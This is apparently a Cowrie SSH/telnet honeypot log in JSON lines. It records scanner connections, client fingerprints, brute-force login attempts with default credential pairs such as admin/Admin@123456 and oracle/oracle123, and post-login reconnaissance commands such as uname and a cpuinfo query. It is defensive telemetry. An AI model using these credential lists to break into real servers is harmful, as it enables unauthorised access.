{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:05.924693Z","src_ip":"192.109.200.78","session":"2d01b7295028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:06.012279Z","src_ip":"192.109.200.78","session":"2d01b7295028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:06.266678Z","src_ip":"192.109.200.78","session":"2d01b7295028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54234,"dst_ip":"159.203.135.109","dst_port":22,"session":"da64829ae63b","protocol":"ssh","message":"New connection: 159.203.92.129:54234 (159.203.135.109:22) [session: da64829ae63b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.016212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.020732Z","src_ip":"159.203.92.129","session":"da64829ae63b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.025503Z","src_ip":"159.203.92.129","session":"da64829ae63b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123456","message":"login attempt [admin/Admin@123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.041151Z","src_ip":"159.203.92.129","session":"da64829ae63b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.095769Z","src_ip":"159.203.92.129","session":"da64829ae63b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","message":"CMD: cat /proc/cpuinfo|grep name|cut -f2 -d':'|uniq -c ; uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.099645Z","src_ip":"159.203.92.129","session":"da64829ae63b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"cut -f2 -d:","message":"Command not found: cut -f2 -d:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.104434Z","src_ip":"159.203.92.129","session":"da64829ae63b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","size":111,"shasum":"c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887","duplicate":true,"duration":"0.0","message":"Closing TTY Log: var/lib/cowrie/tty/c29dde80c80bb67ef0ee3a8d1ab64e8dd1e110be2695fd46a882c89470f5a887 after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.117332Z","src_ip":"159.203.92.129","session":"da64829ae63b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.123679Z","src_ip":"159.203.92.129","session":"da64829ae63b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":50016,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c03167523e7","protocol":"telnet","message":"New connection: 206.189.71.75:50016 (159.203.135.109:23) [session: 0c03167523e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.166909Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:07.353027Z","src_ip":"192.109.200.78","session":"2d01b7295028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.67227530479431,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:08.594507Z","src_ip":"206.189.71.75","session":"64528f96cb99","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":50430,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8720092e7bb","protocol":"telnet","message":"New connection: 206.189.71.75:50430 (159.203.135.109:23) [session: d8720092e7bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:08.698165Z"}
{"eventid":"cowrie.session.closed","duration":36.85638236999512,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:09.786774Z","src_ip":"206.189.71.75","session":"940a3d020335","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52446,"dst_ip":"10.17.0.5","dst_port":22,"session":"1527a7eafd19","protocol":"ssh","message":"New connection: 192.109.200.78:52446 (10.17.0.5:22) [session: 1527a7eafd19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:10.160271Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:10.165425Z","src_ip":"192.109.200.78","session":"1527a7eafd19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:10.249557Z","src_ip":"192.109.200.78","session":"1527a7eafd19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123456789","message":"login attempt [ubuntu/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:10.507356Z","src_ip":"192.109.200.78","session":"1527a7eafd19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:11.595875Z","src_ip":"192.109.200.78","session":"1527a7eafd19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":54748,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e1378749483","protocol":"telnet","message":"New connection: 206.189.71.75:54748 (159.203.135.109:23) [session: 1e1378749483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:12.933046Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52456,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac4c66a8a95c","protocol":"ssh","message":"New connection: 192.109.200.78:52456 (10.17.0.5:22) [session: ac4c66a8a95c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:14.270849Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:14.375108Z","src_ip":"192.109.200.78","session":"ac4c66a8a95c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:14.378931Z","src_ip":"192.109.200.78","session":"ac4c66a8a95c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bitrix","password":"bitrix","message":"login attempt [bitrix/bitrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:15.106769Z","src_ip":"192.109.200.78","session":"ac4c66a8a95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.59375,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:15.448899Z","src_ip":"206.189.71.75","session":"3c0f57b8883a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:16.194288Z","src_ip":"192.109.200.78","session":"ac4c66a8a95c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.24473452568054,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:17.093405Z","src_ip":"206.189.71.75","session":"a035514cd8ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54582,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a553a7a3a7a","protocol":"ssh","message":"New connection: 192.109.200.78:54582 (10.17.0.5:22) [session: 5a553a7a3a7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:18.649764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:18.658464Z","src_ip":"192.109.200.78","session":"5a553a7a3a7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:18.743004Z","src_ip":"192.109.200.78","session":"5a553a7a3a7a","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle123","message":"login attempt [oracle/oracle123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:19.286047Z","src_ip":"192.109.200.78","session":"5a553a7a3a7a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:19.493387Z","src_ip":"192.109.200.78","session":"5a553a7a3a7a","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:19.497114Z","src_ip":"192.109.200.78","session":"5a553a7a3a7a","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:19.588601Z","src_ip":"192.109.200.78","session":"5a553a7a3a7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:19.593689Z","src_ip":"192.109.200.78","session":"5a553a7a3a7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":32914,"dst_ip":"159.203.135.109","dst_port":23,"session":"f00f232e34fe","protocol":"telnet","message":"New connection: 206.189.71.75:32914 (159.203.135.109:23) [session: f00f232e34fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:20.184298Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":33026,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb11ffa6934b","protocol":"telnet","message":"New connection: 206.189.71.75:33026 (159.203.135.109:23) [session: fb11ffa6934b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:20.336287Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":60752,"dst_ip":"159.203.135.109","dst_port":23,"session":"a0c9fa9538f7","protocol":"telnet","message":"New connection: 206.189.71.75:60752 (159.203.135.109:23) [session: a0c9fa9538f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:20.849139Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":33236,"dst_ip":"159.203.135.109","dst_port":23,"session":"f84d96f85c9a","protocol":"telnet","message":"New connection: 206.189.71.75:33236 (159.203.135.109:23) [session: f84d96f85c9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:21.585911Z"}
{"eventid":"cowrie.session.closed","duration":34.96458864212036,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:22.854132Z","src_ip":"206.189.71.75","session":"bb14d0bd1ac0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":60892,"dst_ip":"159.203.135.109","dst_port":23,"session":"b57423bb4456","protocol":"telnet","message":"New connection: 206.189.71.75:60892 (159.203.135.109:23) [session: b57423bb4456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:22.972411Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54600,"dst_ip":"10.17.0.5","dst_port":22,"session":"944a945dba12","protocol":"ssh","message":"New connection: 192.109.200.78:54600 (10.17.0.5:22) [session: 944a945dba12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:22.982061Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:22.990393Z","src_ip":"192.109.200.78","session":"944a945dba12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:23.073941Z","src_ip":"192.109.200.78","session":"944a945dba12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ivan","password":"ivan","message":"login attempt [ivan/ivan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:23.328927Z","src_ip":"192.109.200.78","session":"944a945dba12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.71.75","src_port":35926,"dst_ip":"159.203.135.109","dst_port":23,"session":"62416093ca3e","protocol":"telnet","message":"New connection: 206.189.71.75:35926 (159.203.135.109:23) [session: 62416093ca3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:23.523172Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T16:06:24.415624Z","src_ip":"192.109.200.78","session":"944a945dba12","protocol":"ssh"}
